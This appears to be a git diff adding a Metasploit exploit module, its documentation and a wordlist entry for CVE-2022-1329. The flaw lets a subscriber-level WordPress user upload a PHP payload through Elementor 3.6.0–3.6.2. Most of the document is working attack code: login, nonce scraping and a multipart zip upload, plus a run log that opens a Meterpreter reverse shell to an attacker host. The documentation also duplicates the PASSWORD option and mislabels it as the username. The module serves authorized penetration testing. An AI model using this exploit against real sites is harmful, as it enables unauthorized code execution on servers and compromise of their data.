diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index f81a06c71c..1681da9cd9 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -54,3 +54,4 @@ easy-wp-smtp duplicator_download custom-registration-form-builder-with-submission-manager woocommerce-abandoned-cart +elementor \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md b/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md new file mode 100644 index 0000000000..a8c159046e --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_plugin_elementor_auth_upload_rce.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability +that allows any authenticated user to upload and execute any PHP file. This is achieved +by sending a request to install Elementor Pro from a user supplied zip file. +Any user with Subscriber or more permissions is able to execute this. + +Tested against Elementor 3.6.1 + +### Plugin + +Can be downloaded from https://wordpress.org/plugins/elementor/advanced/ + +## Verification Steps + + +1. Install the plugin, no configuration is required, just hit skip. +2. Start msfconsole +3. Do: `use exploits/multi/http/wp_plugin_elementor_auth_upload_rce` +4. Do: `set username [username]` +5. Do: `set password [password]` +6. Do: `set rhosts [ip]` +7. Do: `run` +8. You should get a shell. + +## Options + +### PASSWORD + +The username for a user with subscriber or higher privileges + +### PASSWORD + +The username for a user with subscriber or higher privileges + +## Scenarios + + +### Elementor 3.6.1 on Wordpress 5.7.7 on Ubuntu 20.04 + +``` +resource (elementor.rb)> use exploits/multi/http/wp_plugin_elementor_auth_upload_rce +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (elementor.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (elementor.rb)> set username user +username => user +resource (elementor.rb)> set password user +password => user +resource (elementor.rb)> set verbose true +verbose => true +msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > run + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/elementor/readme.txt +[*] Found version 3.6.1 in the plugin +[+] The target appears to be vulnerable. +[*] Looking for nonce +[+] Nonce: cfb42a92ae +[*] Uploading upgrade payload and activating... +[*] Payload file name: elementor-pro.php +[*] Sending stage (39927 bytes) to 2.2.2.2 +[+] Deleted ../wp-content/plugins/elementor-pro +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:33052) at 2022-10-02 15:56:35 -0400 +[+] Payload Uploaded Successfully + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : wordpress2004 +OS : Linux wordpress2004 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64 +Meterpreter : php/linux +``` diff --git a/modules/exploits/multi/http/wp_plugin_elementor_auth_upload_rce.rb b/modules/exploits/multi/http/wp_plugin_elementor_auth_upload_rce.rb new file mode 100644 index 0000000000..0c42b6f061 --- /dev/null +++ b/modules/exploits/multi/http/wp_plugin_elementor_auth_upload_rce.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution', + 'Description' => %q{ + The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability + that allows any authenticated user to upload and execute any PHP file. This is achieved + by sending a request to install Elementor Pro from a user supplied zip file. + Any user with Subscriber or more permissions is able to execute this. + Tested against Elementor 3.6.1 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ramuel Gall', # Discovery + 'AkuCyberSec', # Exploit-db + 'h00die' # Metasploit module + ], + 'References' => [ + ['EDB', '50115'], + ['CVE', '2022-1329'], + ['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'], + ['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit + ], + 'Platform' => [ 'php' ], + 'Arch' => ARCH_PHP, + 'Targets' => [ + [ 'Wordpress Elementor', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => '2022-03-29', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + + register_options [ + OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']), + OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']), + OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']) + ] + end + + def check + unless wordpress_and_online? + return CheckCode::Safe('Server not online or not detected as Wordpress') + end + + cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) + CheckCode::Safe('Invalid credentials given!') unless cookie + + return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0') + end + + def upload_file(nonce, cookie) + zip_file = Rex::Zip::Archive.new + payload_name = 'elementor-pro.php' + print_status("Payload file name: #{payload_name}") + # we end up in wp-admin, so we need to get to the right folder + register_dirs_for_cleanup('../wp-content/plugins/elementor-pro') + # payload must contain a Plugin Name header with the name of the plugin + pload = "" + zip_file.add_file("/elementor-pro/#{payload_name}", pload) + + post_data = Rex::MIME::Message.new + post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"') + post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"') + post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"') + + resp = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie + ) + # we get a timeout on success + if resp.nil? + print_good('Payload Uploaded Successfully') + return + end + fail_with(Failure::UnexpectedReply, 'Error uploading payload') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'), + 'cookie' => cookie + ) + + unless res && (res.code == 200) + fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})") + end + # find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one + res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s + end + + def exploit + cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Authentication failed') unless cookie + cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '') + + print_status('Looking for nonce') + nonce = get_nonce(cookie) + fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil? + print_good("Nonce: #{nonce}") + + print_status('Uploading upgrade payload and activating...') + upload_file(nonce, cookie) + end +end